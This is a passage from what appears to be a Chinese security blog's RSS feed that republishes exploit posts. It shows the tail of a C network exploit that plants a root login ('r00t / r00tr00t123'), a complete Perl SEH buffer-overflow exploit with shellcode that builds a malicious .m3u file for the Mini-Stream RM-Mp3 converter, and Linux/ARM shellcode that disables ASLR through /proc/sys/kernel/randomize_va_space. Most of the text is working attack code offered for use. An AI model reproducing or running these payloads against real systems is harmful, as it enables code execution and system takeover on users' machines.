               strcat<span style="color: #009900;">&#40;</span>nops<span style="color: #339933;">,</span> nop<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
       memcpy<span style="color: #009900;">&#40;</span>ptr<span style="color: #339933;">,</span> nops<span style="color: #339933;">,</span> strlen<span style="color: #009900;">&#40;</span>nops<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
       ptr<span style="color: #339933;">+=</span>strlen<span style="color: #009900;">&#40;</span>nops<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
       memcpy<span style="color: #009900;">&#40;</span>ptr<span style="color: #339933;">,</span> egghunter<span style="color: #339933;">,</span> strlen<span style="color: #009900;">&#40;</span>egghunter<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
       ptr<span style="color: #339933;">+=</span>strlen<span style="color: #009900;">&#40;</span>egghunter<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
       memcpy<span style="color: #009900;">&#40;</span>ptr<span style="color: #339933;">,</span> version<span style="color: #339933;">,</span> strlen<span style="color: #009900;">&#40;</span>version<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
       ptr<span style="color: #339933;">+=</span>strlen<span style="color: #009900;">&#40;</span>version<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
       memcpy<span style="color: #009900;">&#40;</span>ptr<span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\n</span><span style="color: #000099; font-weight: bold;">\n</span><span style="color: #006699; font-weight: bold;">\0</span>&quot;</span><span style="color: #339933;">,</span> <span style="color: #0000dd;">3</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
       fprintf<span style="color: #009900;">&#40;</span>stderr<span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;%s<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;[*] Sending final buffer&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
       send_buffer<span style="color: #009900;">&#40;</span>ipaddr<span style="color: #339933;">,</span> port<span style="color: #339933;">,</span> buffer<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
       fprintf<span style="color: #009900;">&#40;</span>stderr<span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;%s<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;[*] Wait 2 minutes and connect with r00t / r00tr00t123&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
       <span style="color: #b1b100;">return</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

]]></content:encoded>
			<wfw:commentRss>http://www.spookzang.net/article/1880/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Mini-Stream RM-Mp3 转换器 v3.1.2.1 缓冲区溢出漏洞</title>
		<link>http://www.spookzang.net/article/1773</link>
		<comments>http://www.spookzang.net/article/1773#comments</comments>
		<pubDate>Fri, 02 Jul 2010 01:54:06 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[编程溢出]]></category>
		<category><![CDATA[溢出]]></category>
		<category><![CDATA[漏洞]]></category>
		<category><![CDATA[缓冲区]]></category>

		<guid isPermaLink="false">http://www.spookzang.net/?p=1773</guid>
		<description><![CDATA[Mini-Stream是一款持wav、mp3、rm、rmvb、ra、ram、rmj、wma、wmv、asx、asf媒体文件转换到wav、mp3、rm、wma音频文件的软件.但是其RM转MP3的程序出现了缓冲区溢出漏洞.]]></description>
			<content:encoded><![CDATA[<p>Mini-Stream是CD抓轨到mp3、wav、rm或wma格式；支持wav、mp3、rm、rmvb、ra、ram、rmj、wma、wmv、asx、asf媒体文件转换到wav、mp3、rm、wma音频文件；支持不同转换速率的设置；支持一个媒体文件同时转换到wav、mp3、rm、wma四个音频文件；十分简单易用。</p>
<p>但是其RM转MP3的程序出现了缓冲区溢出漏洞.</p>
<p><a href='http://image.spookzang.net//2010/07/14158.zip'>点击下载利用代码</a></p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
</pre></td><td class="code"><pre class="perl" style="font-family:monospace;"><span style="color: #666666; font-style: italic;">#By Madjix Dz8[at]hotmail[dot]com</span>
<span style="color: #666666; font-style: italic;">#Greets: myself for find the bug :)</span>
<span style="color: #666666; font-style: italic;">#</span>
<span style="color: #666666; font-style: italic;"># Notes from EDB:</span>
<span style="color: #666666; font-style: italic;"># 000DBF98 41414141 AAAA</span>
<span style="color: #666666; font-style: italic;"># 000DBF9C 41414141 AAAA</span>
<span style="color: #666666; font-style: italic;"># 000DBFA0 41414141 AAAA</span>
<span style="color: #666666; font-style: italic;"># 000DBFA4 41414141 AAAA Pointer to next SEH record</span>
<span style="color: #666666; font-style: italic;"># 000DBFA8 41414141 AAAA SE handler</span>
<span style="color: #666666; font-style: italic;"># 000DBFAC FFFFFFFF ÿÿÿÿ</span>
<span style="color: #666666; font-style: italic;"># 000DBFB0 7C87F317 ó‡| kernel32.7C87F317</span>
<span style="color: #666666; font-style: italic;"># 000DBFB4 90909090 </span>
<span style="color: #666666; font-style: italic;"># 000DBFB8 90909090 </span>
<span style="color: #666666; font-style: italic;"># 000DBFBC 90909090</span>
<span style="color: #666666; font-style: italic;">#</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$shellcode</span><span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>db<span style="color: #000099; font-weight: bold;">\x</span>c0<span style="color: #000099; font-weight: bold;">\x</span>31<span style="color: #000099; font-weight: bold;">\x</span>c9<span style="color: #000099; font-weight: bold;">\x</span>bf<span style="color: #000099; font-weight: bold;">\x</span>7c<span style="color: #000099; font-weight: bold;">\x</span>16<span style="color: #000099; font-weight: bold;">\</span>
x70<span style="color: #000099; font-weight: bold;">\x</span>cc<span style="color: #000099; font-weight: bold;">\x</span>d9<span style="color: #000099; font-weight: bold;">\x</span>74<span style="color: #000099; font-weight: bold;">\x</span>24<span style="color: #000099; font-weight: bold;">\x</span>f4<span style="color: #000099; font-weight: bold;">\x</span>b1&quot;</span> <span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>1e<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>31<span style="color: #000099; font-weight: bold;">\x</span>78<span style="color: #000099; font-weight: bold;">\x</span>18<span style="color: #000099; font-weight: bold;">\x</span>83<span style="color: #000099; font-weight: bold;">\x</span>e8<span style="color: #000099; font-weight: bold;">\x</span>fc<span style="color: #000099; font-weight: bold;">\x</span>03<span style="color: #000099; font-weight: bold;">\x</span>78<span style="color: #000099; font-weight: bold;">\x</span>68<span style="color: #000099; font-weight: bold;">\x</span>f4<span style="color: #000099; font-weight: bold;">\x</span>85<span style="color: #000099; font-weight: bold;">\x</span>30&quot;</span> <span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>78<span style="color: #000099; font-weight: bold;">\x</span>bc<span style="color: #000099; font-weight: bold;">\x</span>65<span style="color: #000099; font-weight: bold;">\x</span>c9<span style="color: #000099; font-weight: bold;">\x</span>78<span style="color: #000099; font-weight: bold;">\x</span>b6<span style="color: #000099; font-weight: bold;">\x</span>23<span style="color: #000099; font-weight: bold;">\x</span>f5<span style="color: #000099; font-weight: bold;">\x</span>f3<span style="color: #000099; font-weight: bold;">\x</span>b4<span style="color: #000099; font-weight: bold;">\x</span>ae<span style="color: #000099; font-weight: bold;">\x</span>7d<span style="color: #000099; font-weight: bold;">\x</span>02<span style="color: #000099; font-weight: bold;">\x</span>aa&quot;</span> <span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>3a<span style="color: #000099; font-weight: bold;">\x</span>32<span style="color: #000099; font-weight: bold;">\x</span>1c<span style="color: #000099; font-weight: bold;">\x</span>bf<span style="color: #000099; font-weight: bold;">\x</span>62<span style="color: #000099; font-weight: bold;">\x</span>ed<span style="color: #000099; font-weight: bold;">\x</span>1d<span style="color: #000099; font-weight: bold;">\x</span>54<span style="color: #000099; font-weight: bold;">\x</span>d5<span style="color: #000099; font-weight: bold;">\x</span>66<span style="color: #000099; font-weight: bold;">\x</span>29<span style="color: #000099; font-weight: bold;">\x</span>21<span style="color: #000099; font-weight: bold;">\x</span>e7<span style="color: #000099; font-weight: bold;">\x</span>96&quot;</span> <span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>60<span style="color: #000099; font-weight: bold;">\x</span>f5<span style="color: #000099; font-weight: bold;">\x</span>71<span style="color: #000099; font-weight: bold;">\x</span>ca<span style="color: #000099; font-weight: bold;">\x</span>06<span style="color: #000099; font-weight: bold;">\x</span>35<span style="color: #000099; font-weight: bold;">\x</span>f5<span style="color: #000099; font-weight: bold;">\x</span>14<span style="color: #000099; font-weight: bold;">\x</span>c7<span style="color: #000099; font-weight: bold;">\x</span>7c<span style="color: #000099; font-weight: bold;">\x</span>fb<span style="color: #000099; font-weight: bold;">\x</span>1b<span style="color: #000099; font-weight: bold;">\x</span>05<span style="color: #000099; font-weight: bold;">\x</span>6b&quot;</span> <span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>f0<span style="color: #000099; font-weight: bold;">\x</span>27<span style="color: #000099; font-weight: bold;">\x</span>dd<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>fd<span style="color: #000099; font-weight: bold;">\x</span>22<span style="color: #000099; font-weight: bold;">\x</span>38<span style="color: #000099; font-weight: bold;">\x</span>1b<span style="color: #000099; font-weight: bold;">\x</span>a2<span style="color: #000099; font-weight: bold;">\x</span>e8<span style="color: #000099; font-weight: bold;">\x</span>c3<span style="color: #000099; font-weight: bold;">\x</span>f7<span style="color: #000099; font-weight: bold;">\x</span>3b<span style="color: #000099; font-weight: bold;">\x</span>7a&quot;</span> <span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>cf<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>23<span style="color: #000099; font-weight: bold;">\x</span>d3<span style="color: #000099; font-weight: bold;">\x</span>53<span style="color: #000099; font-weight: bold;">\x</span>a4<span style="color: #000099; font-weight: bold;">\x</span>57<span style="color: #000099; font-weight: bold;">\x</span>f7<span style="color: #000099; font-weight: bold;">\x</span>d8<span style="color: #000099; font-weight: bold;">\x</span>3b<span style="color: #000099; font-weight: bold;">\x</span>83<span style="color: #000099; font-weight: bold;">\x</span>8e<span style="color: #000099; font-weight: bold;">\x</span>83&quot;</span> <span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>1f<span style="color: #000099; font-weight: bold;">\x</span>57<span style="color: #000099; font-weight: bold;">\x</span>53<span style="color: #000099; font-weight: bold;">\x</span>64<span style="color: #000099; font-weight: bold;">\x</span>51<span style="color: #000099; font-weight: bold;">\x</span>a1<span style="color: #000099; font-weight: bold;">\x</span>33<span style="color: #000099; font-weight: bold;">\x</span>cd<span style="color: #000099; font-weight: bold;">\x</span>f5<span style="color: #000099; font-weight: bold;">\x</span>c6<span style="color: #000099; font-weight: bold;">\x</span>f5<span style="color: #000099; font-weight: bold;">\x</span>c1<span style="color: #000099; font-weight: bold;">\x</span>7e<span style="color: #000099; font-weight: bold;">\x</span>98&quot;</span> <span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>f5<span style="color: #000099; font-weight: bold;">\x</span>aa<span style="color: #000099; font-weight: bold;">\x</span>f1<span style="color: #000099; font-weight: bold;">\x</span>05<span style="color: #000099; font-weight: bold;">\x</span>a8<span style="color: #000099; font-weight: bold;">\x</span>26<span style="color: #000099; font-weight: bold;">\x</span>99<span style="color: #000099; font-weight: bold;">\x</span>3d<span style="color: #000099; font-weight: bold;">\x</span>3b<span style="color: #000099; font-weight: bold;">\x</span>c0<span style="color: #000099; font-weight: bold;">\x</span>d9<span style="color: #000099; font-weight: bold;">\x</span>fe<span style="color: #000099; font-weight: bold;">\x</span>51<span style="color: #000099; font-weight: bold;">\x</span>61&quot;</span> <span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>b6<span style="color: #000099; font-weight: bold;">\x</span>0e<span style="color: #000099; font-weight: bold;">\x</span>2f<span style="color: #000099; font-weight: bold;">\x</span>85<span style="color: #000099; font-weight: bold;">\x</span>19<span style="color: #000099; font-weight: bold;">\x</span>87<span style="color: #000099; font-weight: bold;">\x</span>b7<span style="color: #000099; font-weight: bold;">\x</span>78<span style="color: #000099; font-weight: bold;">\x</span>2f<span style="color: #000099; font-weight: bold;">\x</span>59<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>7b<span style="color: #000099; font-weight: bold;">\x</span>d7<span style="color: #000099; font-weight: bold;">\x</span>05&quot;</span> <span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>7f<span style="color: #000099; font-weight: bold;">\x</span>e8<span style="color: #000099; font-weight: bold;">\x</span>7b<span style="color: #000099; font-weight: bold;">\x</span>ca&quot;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$jnk</span><span style="color: #339933;">=</span><span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>41&quot;</span> x <span style="color: #cc66cc;">43488</span> <span style="color: #339933;">;</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$nseh</span><span style="color: #339933;">=</span><span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>eb<span style="color: #000099; font-weight: bold;">\x</span>06<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>90&quot;</span> <span style="color: #339933;">;</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$seh</span><span style="color: #339933;">=</span><span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>17<span style="color: #000099; font-weight: bold;">\x</span>F3<span style="color: #000099; font-weight: bold;">\x</span>87<span style="color: #000099; font-weight: bold;">\x</span>7C&quot;</span> <span style="color: #339933;">;</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$nops</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>90&quot;</span> x <span style="color: #cc66cc;">24</span> <span style="color: #339933;">;</span>
&nbsp;
<span style="color: #000066;">open</span><span style="color: #009900;">&#40;</span>MYFILE<span style="color: #339933;">,</span><span style="color: #ff0000;">'&gt;&gt;MadjiX.m3u'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000066;">print</span> MYFILE <span style="color: #0000ff;">$jnk</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$nseh</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$seh</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$nops</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$shellcode</span><span style="color: #339933;">;</span>
<span style="color: #000066;">close</span><span style="color: #009900;">&#40;</span>MYFILE<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></td></tr></table></div>

]]></content:encoded>
			<wfw:commentRss>http://www.spookzang.net/article/1773/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Linux/ARM 禁用&#8221;ASLR安全&#8221;的代码</title>
		<link>http://www.spookzang.net/article/1770</link>
		<comments>http://www.spookzang.net/article/1770#comments</comments>
		<pubDate>Thu, 01 Jul 2010 02:45:53 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[*UNIX相关]]></category>
		<category><![CDATA[安全新闻]]></category>
		<category><![CDATA[编程溢出]]></category>
		<category><![CDATA[溢出]]></category>
		<category><![CDATA[漏洞]]></category>
		<category><![CDATA[缓冲区]]></category>

		<guid isPermaLink="false">http://www.spookzang.net/?p=1770</guid>
		<description><![CDATA[ASLR是防止缓冲区溢出的技术,通过对栈,共享库映射等线性区布局的随机化,防止攻击者定位攻击代码位置,达到阻止缓冲区溢出攻击的目的.但是他却存在漏洞,使得攻击者执行某程序时,能结束这种保护,从而实现缓冲区溢出.]]></description>
			<content:encoded><![CDATA[<p>Address space layout randomization【ASLR】是防止缓冲区溢出的技术，通过对栈、共享库映射等线性区布局的随机化，防止攻击者定位攻击代码位置，达到阻止溢出攻击的目的。据研究表明ASLR可以有效的降低缓冲区溢出攻击的成功率，如今Linux、FreeBSD、Windows等主流操作系统都已采用了该技术。</p>
<p><a href='http://image.spookzang.net//2010/07/14139.c'>代码下载</a></p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
</pre></td><td class="code"><pre class="c" style="font-family:monospace;"><span style="color: #808080; font-style: italic;">/*
Title:  Linux/ARM - Disable ASLR Security - 102 bytes
Date:   2010-06-20
Tested: Linux ARM9 2.6.28-6-versatile
&nbsp;
Author: Jonathan Salwan
Web:    http://shell-storm.org | http://twitter.com/shell_storm
&nbsp;
! Database of shellcodes http://www.shell-storm.org/shellcode/
&nbsp;
&nbsp;
Description:
============
 Address space layout randomization (ASLR) is a computer security technique
 which involves randomly arranging the positions of key data areas, usually
 including the base  of the executable and position of libraries, heap, and
 stack, in a process's address space.
&nbsp;
 This shellcode disables the ASLR on linux/ARM
&nbsp;
*/</span>
&nbsp;
<span style="color: #339933;">#include &lt;stdio.h&gt;</span>
&nbsp;
<span style="color: #993333;">char</span> <span style="color: #339933;">*</span>SC <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #660099; font-weight: bold;">\x01</span><span style="color: #660099; font-weight: bold;">\x30</span><span style="color: #660099; font-weight: bold;">\x8f</span><span style="color: #660099; font-weight: bold;">\xe2</span>&quot;</span>  <span style="color: #666666; font-style: italic;">// add    r3, pc, #1</span>
           <span style="color: #ff0000;">&quot;<span style="color: #660099; font-weight: bold;">\x13</span><span style="color: #660099; font-weight: bold;">\xff</span><span style="color: #660099; font-weight: bold;">\x2f</span><span style="color: #660099; font-weight: bold;">\xe1</span>&quot;</span>  <span style="color: #666666; font-style: italic;">// bx     r3</span>
           <span style="color: #ff0000;">&quot;<span style="color: #660099; font-weight: bold;">\x24</span><span style="color: #660099; font-weight: bold;">\x1b</span>&quot;</span>          <span style="color: #666666; font-style: italic;">// subs   r4, r4, r4</span>
           <span style="color: #ff0000;">&quot;<span style="color: #660099; font-weight: bold;">\x20</span><span style="color: #660099; font-weight: bold;">\x1c</span>&quot;</span>          <span style="color: #666666; font-style: italic;">// adds   r0, r4, #0</span>
           <span style="color: #ff0000;">&quot;<span style="color: #660099; font-weight: bold;">\x17</span><span style="color: #660099; font-weight: bold;">\x27</span>&quot;</span>          <span style="color: #666666; font-style: italic;">// movs   r7, #23</span>
           <span style="color: #ff0000;">&quot;<span style="color: #660099; font-weight: bold;">\x01</span><span style="color: #660099; font-weight: bold;">\xdf</span>&quot;</span>          <span style="color: #666666; font-style: italic;">// svc    1</span>
           <span style="color: #ff0000;">&quot;<span style="color: #660099; font-weight: bold;">\x78</span><span style="color: #660099; font-weight: bold;">\x46</span>&quot;</span>          <span style="color: #666666; font-style: italic;">// mov    r0, pc</span>
           <span style="color: #ff0000;">&quot;<span style="color: #660099; font-weight: bold;">\x2e</span><span style="color: #660099; font-weight: bold;">\x30</span>&quot;</span>          <span style="color: #666666; font-style: italic;">// adds   r0, #46</span>
           <span style="color: #ff0000;">&quot;<span style="color: #660099; font-weight: bold;">\xc8</span><span style="color: #660099; font-weight: bold;">\x21</span>&quot;</span>          <span style="color: #666666; font-style: italic;">// movs   r1, #200</span>
           <span style="color: #ff0000;">&quot;<span style="color: #660099; font-weight: bold;">\xc8</span><span style="color: #660099; font-weight: bold;">\x31</span>&quot;</span>          <span style="color: #666666; font-style: italic;">// adds   r1, #200</span>
           <span style="color: #ff0000;">&quot;<span style="color: #660099; font-weight: bold;">\xc8</span><span style="color: #660099; font-weight: bold;">\x31</span>&quot;</span>          <span style="color: #666666; font-style: italic;">// adds   r1, #200</span>
           <span style="color: #ff0000;">&quot;<span style="color: #660099; font-weight: bold;">\xc8</span><span style="color: #660099; font-weight: bold;">\x31</span>&quot;</span>          <span style="color: #666666; font-style: italic;">// adds   r1, #200</span>
           <span style="color: #ff0000;">&quot;<span style="color: #660099; font-weight: bold;">\xc8</span><span style="color: #660099; font-weight: bold;">\x31</span>&quot;</span>          <span style="color: #666666; font-style: italic;">// adds   r1, #200</span>
           <span style="color: #ff0000;">&quot;<span style="color: #660099; font-weight: bold;">\x59</span><span style="color: #660099; font-weight: bold;">\x31</span>&quot;</span>          <span style="color: #666666; font-style: italic;">// adds   r1, #89</span>
           <span style="color: #ff0000;">&quot;<span style="color: #660099; font-weight: bold;">\xc8</span><span style="color: #660099; font-weight: bold;">\x22</span>&quot;</span>          <span style="color: #666666; font-style: italic;">// movs   r2, #200</span>
           <span style="color: #ff0000;">&quot;<span style="color: #660099; font-weight: bold;">\xc8</span><span style="color: #660099; font-weight: bold;">\x32</span>&quot;</span>          <span style="color: #666666; font-style: italic;">// adds   r2, #200</span>
           <span style="color: #ff0000;">&quot;<span style="color: #660099; font-weight: bold;">\x14</span><span style="color: #660099; font-weight: bold;">\x32</span>&quot;</span>          <span style="color: #666666; font-style: italic;">// adds   r2, #20</span>
           <span style="color: #ff0000;">&quot;<span style="color: #660099; font-weight: bold;">\x05</span><span style="color: #660099; font-weight: bold;">\x27</span>&quot;</span>          <span style="color: #666666; font-style: italic;">// movs   r7, #5</span>
           <span style="color: #ff0000;">&quot;<span style="color: #660099; font-weight: bold;">\x01</span><span style="color: #660099; font-weight: bold;">\xdf</span>&quot;</span>          <span style="color: #666666; font-style: italic;">// svc    1</span>
           <span style="color: #ff0000;">&quot;<span style="color: #660099; font-weight: bold;">\x03</span><span style="color: #660099; font-weight: bold;">\x20</span>&quot;</span>          <span style="color: #666666; font-style: italic;">// movs   r0, #3</span>
           <span style="color: #ff0000;">&quot;<span style="color: #660099; font-weight: bold;">\x79</span><span style="color: #660099; font-weight: bold;">\x46</span>&quot;</span>          <span style="color: #666666; font-style: italic;">// mov    r1, pc</span>
           <span style="color: #ff0000;">&quot;<span style="color: #660099; font-weight: bold;">\x0e</span><span style="color: #660099; font-weight: bold;">\x31</span>&quot;</span>          <span style="color: #666666; font-style: italic;">// adds   r1, #14</span>
           <span style="color: #ff0000;">&quot;<span style="color: #660099; font-weight: bold;">\x02</span><span style="color: #660099; font-weight: bold;">\x22</span>&quot;</span>          <span style="color: #666666; font-style: italic;">// movs   r2, #2</span>
           <span style="color: #ff0000;">&quot;<span style="color: #660099; font-weight: bold;">\x04</span><span style="color: #660099; font-weight: bold;">\x27</span>&quot;</span>          <span style="color: #666666; font-style: italic;">// movs   r7, #4</span>
           <span style="color: #ff0000;">&quot;<span style="color: #660099; font-weight: bold;">\x01</span><span style="color: #660099; font-weight: bold;">\xdf</span>&quot;</span>          <span style="color: #666666; font-style: italic;">// svc    1</span>
           <span style="color: #ff0000;">&quot;<span style="color: #660099; font-weight: bold;">\x92</span><span style="color: #660099; font-weight: bold;">\x1a</span>&quot;</span>          <span style="color: #666666; font-style: italic;">// subs   r2, r2, r2</span>
           <span style="color: #ff0000;">&quot;<span style="color: #660099; font-weight: bold;">\x10</span><span style="color: #660099; font-weight: bold;">\x1c</span>&quot;</span>          <span style="color: #666666; font-style: italic;">// adds   r0, r2, #0</span>
           <span style="color: #ff0000;">&quot;<span style="color: #660099; font-weight: bold;">\x01</span><span style="color: #660099; font-weight: bold;">\x27</span>&quot;</span>          <span style="color: #666666; font-style: italic;">// movs   r7, #1</span>
           <span style="color: #ff0000;">&quot;<span style="color: #660099; font-weight: bold;">\x01</span><span style="color: #660099; font-weight: bold;">\xdf</span>&quot;</span>          <span style="color: #666666; font-style: italic;">// svc    1</span>
&nbsp;
           <span style="color: #ff0000;">&quot;<span style="color: #660099; font-weight: bold;">\x30</span><span style="color: #660099; font-weight: bold;">\x0a</span>&quot;</span>          <span style="color: #666666; font-style: italic;">// ^</span>
           <span style="color: #ff0000;">&quot;<span style="color: #660099; font-weight: bold;">\x2d</span><span style="color: #660099; font-weight: bold;">\x2d</span>&quot;</span>          <span style="color: #666666; font-style: italic;">// |</span>
           <span style="color: #ff0000;">&quot;<span style="color: #660099; font-weight: bold;">\x2f</span><span style="color: #660099; font-weight: bold;">\x2f</span>&quot;</span>          <span style="color: #666666; font-style: italic;">// |</span>
           <span style="color: #ff0000;">&quot;<span style="color: #660099; font-weight: bold;">\x70</span><span style="color: #660099; font-weight: bold;">\x72</span>&quot;</span>          <span style="color: #666666; font-style: italic;">// |</span>
           <span style="color: #ff0000;">&quot;<span style="color: #660099; font-weight: bold;">\x6f</span><span style="color: #660099; font-weight: bold;">\x63</span>&quot;</span>          <span style="color: #666666; font-style: italic;">// |</span>
           <span style="color: #ff0000;">&quot;<span style="color: #660099; font-weight: bold;">\x2f</span><span style="color: #660099; font-weight: bold;">\x73</span>&quot;</span>          <span style="color: #666666; font-style: italic;">// |</span>
           <span style="color: #ff0000;">&quot;<span style="color: #660099; font-weight: bold;">\x79</span><span style="color: #660099; font-weight: bold;">\x73</span>&quot;</span>          <span style="color: #666666; font-style: italic;">// |</span>
           <span style="color: #ff0000;">&quot;<span style="color: #660099; font-weight: bold;">\x2f</span><span style="color: #660099; font-weight: bold;">\x6b</span>&quot;</span>          <span style="color: #666666; font-style: italic;">// |</span>
           <span style="color: #ff0000;">&quot;<span style="color: #660099; font-weight: bold;">\x65</span><span style="color: #660099; font-weight: bold;">\x72</span>&quot;</span>          <span style="color: #666666; font-style: italic;">// |</span>
           <span style="color: #ff0000;">&quot;<span style="color: #660099; font-weight: bold;">\x6e</span><span style="color: #660099; font-weight: bold;">\x65</span>&quot;</span>          <span style="color: #666666; font-style: italic;">// |  [ strings ]</span>
           <span style="color: #ff0000;">&quot;<span style="color: #660099; font-weight: bold;">\x6c</span><span style="color: #660099; font-weight: bold;">\x2f</span>&quot;</span>          <span style="color: #666666; font-style: italic;">// |</span>
           <span style="color: #ff0000;">&quot;<span style="color: #660099; font-weight: bold;">\x72</span><span style="color: #660099; font-weight: bold;">\x61</span>&quot;</span>          <span style="color: #666666; font-style: italic;">// |</span>
           <span style="color: #ff0000;">&quot;<span style="color: #660099; font-weight: bold;">\x6e</span><span style="color: #660099; font-weight: bold;">\x64</span>&quot;</span>          <span style="color: #666666; font-style: italic;">// |</span>
           <span style="color: #ff0000;">&quot;<span style="color: #660099; font-weight: bold;">\x6f</span><span style="color: #660099; font-weight: bold;">\x6d</span>&quot;</span>          <span style="color: #666666; font-style: italic;">// |</span>
           <span style="color: #ff0000;">&quot;<span style="color: #660099; font-weight: bold;">\x69</span><span style="color: #660099; font-weight: bold;">\x7a</span>&quot;</span>          <span style="color: #666666; font-style: italic;">// |</span>
           <span style="color: #ff0000;">&quot;<span style="color: #660099; font-weight: bold;">\x65</span><span style="color: #660099; font-weight: bold;">\x5f</span>&quot;</span>          <span style="color: #666666; font-style: italic;">// |</span>
           <span style="color: #ff0000;">&quot;<span style="color: #660099; font-weight: bold;">\x76</span><span style="color: #660099; font-weight: bold;">\x61</span>&quot;</span>          <span style="color: #666666; font-style: italic;">// |</span>
           <span style="color: #ff0000;">&quot;<span style="color: #660099; font-weight: bold;">\x5f</span><span style="color: #660099; font-weight: bold;">\x73</span>&quot;</span>          <span style="color: #666666; font-style: italic;">// |</span>
           <span style="color: #ff0000;">&quot;<span style="color: #660099; font-weight: bold;">\x70</span><span style="color: #660099; font-weight: bold;">\x61</span>&quot;</span>          <span style="color: #666666; font-style: italic;">// |</span>
           <span style="color: #ff0000;">&quot;<span style="color: #660099; font-weight: bold;">\x63</span><span style="color: #660099; font-weight: bold;">\x65</span>&quot;</span><span style="color: #339933;">;</span>         <span style="color: #666666; font-style: italic;">// v</span>
&nbsp;
&nbsp;
<span style="color: #993333;">int</span> main<span style="color: #009900;">&#40;</span><span style="color: #993333;">void</span><span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
        fprintf<span style="color: #009900;">&#40;</span>stdout<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;Length: %d<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">,</span>strlen<span style="color: #009900;">&#40;</span>SC<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
